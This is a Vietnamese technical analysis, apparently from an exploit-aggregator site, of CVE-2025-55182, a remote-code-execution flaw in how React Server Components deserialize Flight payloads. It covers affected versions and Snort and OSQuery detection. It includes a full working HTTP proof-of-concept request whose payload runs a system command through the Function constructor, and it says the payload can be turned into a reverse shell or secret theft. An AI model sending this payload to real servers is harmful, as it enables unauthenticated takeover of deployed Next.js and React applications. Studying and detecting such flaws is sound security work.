Share
## https://sploitus.com/exploit?id=DF8C93FE-27C2-5BE1-8DE3-E8C9F8771A10
## Tìm hiểu về React Server Components và giao thức Flight

REact Server Components là 1 tính năng được giới thiệu trong React 19, cho phép các component được render trên máy chủ thay vì trong trình duyệt của phía client. Máy chủ có thể xử lý các tác vụ tính toán phức tạp trong khi chỉ gửi kết quả đã được render tới client

Việc giao tiếp giữa máy chủ và client trong RSC dựa trên giao thức React Flight. Giao thức này xử lý quá trình tuần tự hóa và giải tuần tự hóa dữ liệu được truyền giữa máy chủ và client. Khi một client cần gọi một hàm phía máy chủ (Server Action), nó sẽ gửi 1 yêu cầu được định dạng đặc biệt chứa dữ liệu đã được tuần tự hóa để máy chủ giải tuần tự hóa và xử lý

Giao thức Flight sử dụng một định dạng tuần tự hóa cụ thể với các dấu đánh dấu kiểu dữ liệu. VD:
- $@ biểu thị một tham chiếu đến chunk.
- $B biểu thị một tham chiếu đến Blob.
- Các tham chiếu có thể bao gồm các đường dẫn thuộc tính bằng cách sử dụng dấu hai chấm để phân tách (ví dụ: $1:constructor:constructor)

Chính cơ chế tuần tự hóa này là nơi tồn tại lỗ hổng. Máy chủ xử lý các tham chiếu này mà không xác thực đúng cách rằng các thuộc tính được yêu cầu có thực sự là các export hợp lệ từ module dự định hay không.

## Bản chất lỗ hổng

CVE-2025-55182 về bản chất là một lỗ hổng giải tuần tự hóa không an toàn trong cách RSC xử lý các payload đến của giao thức Flight. Lỗ hổng tồn tại trong hàm requireModule thuộc gói react-server-dom-webpack.

```
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  
```

Lỗi nghiêm trọng nằm ở việc truy cập bằng ký pháp dấu ngoặc vuông: `moduleExports[metadata[2]]`

Trong JavaScript, khi truy cập một thuộc tính bằng ký pháp dấu ngoặc vuông, JavaScript engine không chỉ kiểm tra các thuộc tính của chính đối tượng đó mà còn duyệt toàn bộ chuỗi nguyên mẫu. Điều này có nghĩa là kẻ tấn công có thể tham chiếu đến các thuộc tính không được module export một cách rõ ràng.

Quan trọng nhất, mọi hàm trong JavaScript đều có một thuộc tính constructor trỏ đến hàm tạo Function. Bằng cách truy cập someFunction.constructor, kẻ tấn công sẽ lấy được một tham chiếu đến Function constructor toàn cục, đối tượng có thể thực thi mã JavaScript tùy ý khi được gọi với một đối số dạng chuỗi.

Lỗ hổng trở nên có thể khai thác vì giao thức Flight của React cho phép client chỉ định các đường dẫn thuộc tính này thông qua cú pháp tham chiếu phân tách bằng dấu hai chấm. Kẻ tấn công có thể tạo một tham chiếu như $1:constructor:constructor, tham chiếu này sẽ thực hiện quá trình duyệt như sau:
- Lấy chunk/module số 1
- Truy cập thuộc tính `.constructor` của nó (thu được Function Constructor)
- Truy cập `.constructor` thêm một lần nữa (vẫn là Function Constructor, nhưng xác nhận chuỗi truy cập)

## Chuỗi khai thác 
### Giai đoạn 1: Tạo đối tượng Chunk giả

PoC bắt đầu bằng cách gửi một yêu cầu multipart form gồm ba trường. Trường đầu tiên chứa một đối tượng Chunk giả được tạo có chủ đích:

```
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
```

Dối tượng này mô phỏng cấu trúc nội bộ của lớp `chunk` trong React. Bằng cách đặt `then` tham chiếu đến `Chunk.prototype.then`, nó tạo ra một cấu trúc tự tham chiếu. Khi React xử lý và `await` Chunk này, phương thức `then` được gọi với Chunk giả làm ngữ cảnh `this`

### Giai đoạn 2: Khai thác bộ xử lý giải tuần tự hóa Blob

Thành phần quan trọng tiếp theo là tham chiếu `$B1337`. Trong giao thức Flight của React, tiền tố `$B` biểu thijmoojt tham chiếu Blob. Khi React xử lý tham chiếu Blob, nó gọi một hàm sử dụng: `response._formData.get(response._prefix + id)`

Tại đây, đối tượng `_response` đã bị chèn các thuộc tính độc hại. Khi bộ xử lý Blob thực thi: `response._formData.get(response._prefix + id)`

Nó thực tế sẽ thực hiện: `Function("process.mainModule.require('child_process').execSync('xcalc');1337")`

Nguyên nhân là `_formData.get` được đặt thành `$1:constructor:constructor`, tham chiếu này được phân giải thành `Function constructor`. Giá trị `_prefix` chứa đoạn mã độc. Khi kết hợp lại, `Function constructor` được gọi với chuỗi mã độc làm đổi số, tạo và thực thi một hàm chứa mã JS tùy ý.

### Giai đoạn 3: Thực thi mã

Payload `process.mainModule.require('child_process').execSync('xcalc')` minh họa khả năng của khai thác này. Payload thực hiện:
- Truy cập `process.mainModule` (module chính đang được thực thi)
- Sử dụng phương thức `require` để tải module `child_process`
- Gọi `execSync` để thực thi một lệnh của hđh
- Trong trường hợp này là mở ứng dụng máy tính (`xcalc`) để chứng minh việc khai thác thành công

Payload này có thể được sửa đổi để thiết lập reverse shell, trích xuất các biến môi trường chứa thông tin bí mật, đọc các tệp nhạy cảm hoặc thực hiện bất kỳ thao tác nào mà tiến trình Node.js có quyền thực hiện.

## Phân tích một PoC thực tế

Xem một request hoàn chỉnh trong PoC của maple3142:

```
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

Header `Next-Action: x` kích hoạt cơ chế xử lý Server Action của React. Phần thân gồm 3 phần:
- Trường 0: Đối tượng Chunk giả chứa cấu trúc `_response` độc hại.
- Trường 1: Tham chiếu `$@0` trỏ ngược về trường 0, tạo cấu trúc tự tham chiếu.
- Trường 2: Một mảng rỗng, hoàn thiện cấu trúc yêu cầu.

Khi máy chủ xử lý yêu cầu này, nó sẽ giải tuần tự hóa trường 0, gặp tham chiếu `$@0` trong trường 1, thiết lập thuộc tính `then` tự tham chiếu, sau đó kích hoạt bộ xử lý Blob, bộ xử lý này sẽ thực thi mã thông qua `Function constructor`.

### Phiên bản dễ bị ảnh hưởng và bề mặt tấn công

CVE-2025-55182 ảnh hưởng đến React Server Components trong các phiên bản sau:
- React 19.0.0, 19.1.0, 19.1.1 và 19.2.0.
- Next.js từ 14.3.0-canary.77 trở lên, toàn bộ các bản 15.x và các bản 16.x trước khi được vá.
- Các framework khác sử dụng RSC như React Router, Waku, Redwood SDK và nhiều plugin RSC khác.

Lỗ hổng này nguy hiểm vì:
- Cấu hình mặc định đều bị ảnh hưởng: Một ứng dụng Next.js tiêu chuẩn được tạo bằng `create-next-app` có thể bị khai thác mà không cần thay đổi mã nguồn.
- Không cần xác thực: Cuộc tấn công có thể thực hiện mà không cần bất kỳ thông tin đăng nhập nào.
- Độ tin cậy cao: Các nhà nghiên cứu bảo mật ghi nhận tỷ lệ khai thác thành công gần 100%.
- Triển khai rộng rãi: Dữ liệu từ Wiz Research cho thấy 39% môi trường đám mây chứa các phiên bản dễ bị tấn công.

Theo Shodan, có hơn 571.000 máy chủ công khai sử dụng các thành phần React và 444.000 máy chủ sử dụng Next.js. Mặc dù không phải tất cả đều chạy các phiên bản bị ảnh hưởng, nhưng bề mặt tấn công tiềm năng là rất lớn.

## Phát hiện

Một request tấn công bắt buộc phải có sự kết hợp của các yếu tố rất đặc thù sau:
- Header: Có chứa header `Next-Action` và định dạng dữ liệu là `multipart/form-data`.
- Payload:
    - Chứa chuỗi khai báo form-data cụ thể: name="0"
    - Chứa các thuộc tính độc hại như "status": "resolved_model" (tài liệu gốc ghi nhầm "reserved_model" ở trên nhưng rule chuẩn là resolved)
    - Chứa chuỗi "then":"$1:__proto__:then" — đây là dấu hiệu cực kỳ chính xác cho thấy kẻ địch đang cố gắng thao túng cơ chế RSC từ bên ngoài.

### Hai cơ chế phát hiện

#### Giám sát mạng bằng Snort

Cách hoạt động: Rule Snort này sẽ chặn/cảnh báo các lưu lượng mạng hướng đến máy chủ (to_server) có đủ các dấu hiệu bất thường đã nêu ở mục 2 (Headers + PCRE kiểm tra chuỗi payload độc hại).

Mục đích: Phát hiện và ngăn chặn hành vi khai thác ngay khi nó đang diễn ra trên đường truyền mạng.

#### Kiểm tra lỗ hổng bằng OSQuery

Cách hoạt động: Chạy câu lệnh quét định kỳ trên máy chủ hoặc trong quy trình build phần mềm (CI/CD) để tìm các gói thư viện Node.js (npm_packages) bị dính lỗi.

Các gói đích: react-server-dom-parcel, react-server-dom-turbopack, và react-server-dom-webpack

Phiên bản lỗi bị quét: 19.0.0, 19.1.0 đến dưới 19.1.2, và 19.2.0.

Mục đích: Phát hiện chủ động các ứng dụng có nguy cơ trước khi chúng kịp lên môi trường Product